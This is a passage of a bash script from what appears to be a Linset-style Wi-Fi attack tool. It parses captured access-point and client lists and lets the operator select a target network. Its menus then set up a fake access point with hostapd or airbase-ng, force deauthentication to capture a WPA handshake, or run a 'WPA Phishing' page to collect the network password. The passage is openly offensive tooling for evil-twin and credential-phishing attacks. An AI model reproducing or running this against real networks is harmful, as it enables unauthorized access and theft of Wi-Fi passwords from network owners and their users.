head -n $linap $DUMP_PATH/$CSVDB &> $DUMP_PATH/dump-02.csv
tail -n +$linap $DUMP_PATH/$CSVDB &> $DUMP_PATH/clientes.csv
echo " List of found APs "
echo ""
echo " # MAC CHAN SECU PWR ESSID"
echo ""
i=0
while IFS=, read MAC FTS LTS CHANNEL SPEED PRIVACY CYPHER AUTH POWER BEACON IV LANIP IDLENGTH ESSID KEY;do
longueur=${#MAC}
PRIVACY=$(echo $PRIVACY| tr -d "^ ")
PRIVACY=${PRIVACY:0:4}
if [ $longueur -ge 17 ]; then
i=$(($i+1))
POWER=`expr $POWER + 100`
CLIENTE=`cat $DUMP_PATH/clientes.csv | grep $MAC`
if [ "$CLIENTE" != "" ]; then
CLIENTE="*"
fi
echo -e " ""$verde"$i")"$blanco"$CLIENTE\t""$amarillo"$MAC"\t""$verde"$CHANNEL"\t""$rojo" $PRIVACY"\t ""$amarillo"$POWER%"\t""$verde"$ESSID""$rescolor""
aidlenght=$IDLENGTH
assid[$i]=$ESSID
achannel[$i]=$CHANNEL
amac[$i]=$MAC
aprivacy[$i]=$PRIVACY
aspeed[$i]=$SPEED
fi
done < $DUMP_PATH/dump-02.csv
echo
echo -e ""$verde"("$blanco"*"$verde") Clients are connected"$rescolor""
echo ""
echo " Select Line Number of TargetAP "
echo -n " #> "
read choice
idlenght=${aidlenght[$choice]}
ssid=${assid[$choice]}
channel=$(echo ${achannel[$choice]}|tr -d [:space:])
mac=${amac[$choice]}
privacy=${aprivacy[$choice]}
speed=${aspeed[$choice]}
Host_IDL=$idlength
Host_SPEED=$speed
Host_ENC=$privacy
Host_MAC=$mac
Host_CHAN=$channel
acouper=${#ssid}
fin=$(($acouper-idlength))
Host_SSID=${ssid:1:fin}
conditional_clear
askAP
}
# Select mode FakeAP
function askAP {
DIGITOS_WIFIS_CSV=`echo "$Host_MAC" | wc -m`
if [ $DIGITOS_WIFIS_CSV -le 15 ]; then
selection && break
fi
if [ "$(echo $WIFIDRIVER | grep -i 8187)" ]; then
fakeapmode="airbase-ng"
askauth
fi
mostrarheader
while true; do
infoap
echo "FakeAP Type"
echo " "
echo -e " "$verde"1)"$rescolor" Hostapd ("$rojo"Recommended if device supports"$rescolor")"
echo -e " "$verde"2)"$rescolor" airbase-ng (slower connection)"
echo -e " "$verde"3)"$rescolor" Back"
echo " "
echo -n " #> "
read yn
echo ""
case $yn in
1 ) fakeapmode="hostapd"; authmode="handshake"; deauthforce; break ;;
2 ) fakeapmode="airbase-ng"; askauth; break ;;
3 ) selection; break ;;
* ) echo "Unknown choose option again"; conditional_clear ;;
esac
done
}
# PASS testing calculation method if you chose airbase-ng
function askauth {
conditional_clear
mostrarheader
while true; do
echo "METHOD OF PASSWORD VERIFICATION"
echo " "
echo -e " "$verde"1)"$rescolor" Capture a Handshake ("$rojo"Suggest using stock linset program "$rescolor")"
echo -e " "$verde"2)"$rescolor" WPA Phishing ONLY English Page Supported"
echo -e " "$verde"3)"$rescolor" Return"
echo " "
echo -n " #> "
read yn
echo ""
case $yn in
1 ) authmode="handshake"; deauthforce; break ;;
2 ) authmode="wpa_supplicant"; webinterface; break ;;
3 ) askAP; break ;;
* ) echo "Unavilable choose option again"; conditional_clear ;;
esac
done
}
function deauthforce {
conditional_clear
mostrarheader
while true; do
echo "WPA HANDSHAKE CHECKS"
echo " "
echo -e " "$verde"1)"$rescolor" Strict"
echo -e " "$verde"2)"$rescolor" Normal (Possibility of failure)"
echo -e " "$verde"3)"$rescolor" Back"
echo " "
echo -n " #> "
read yn
echo ""
case $yn in
1 ) handshakemode="hard"; askclientsel; break ;;
2 ) handshakemode="normal"; askclientsel; break ;;
3 ) askauth; break ;;
* ) echo "Unavilable choose option again"; conditional_clear ;;
esac
done
}
############################################### < MENU > ###############################################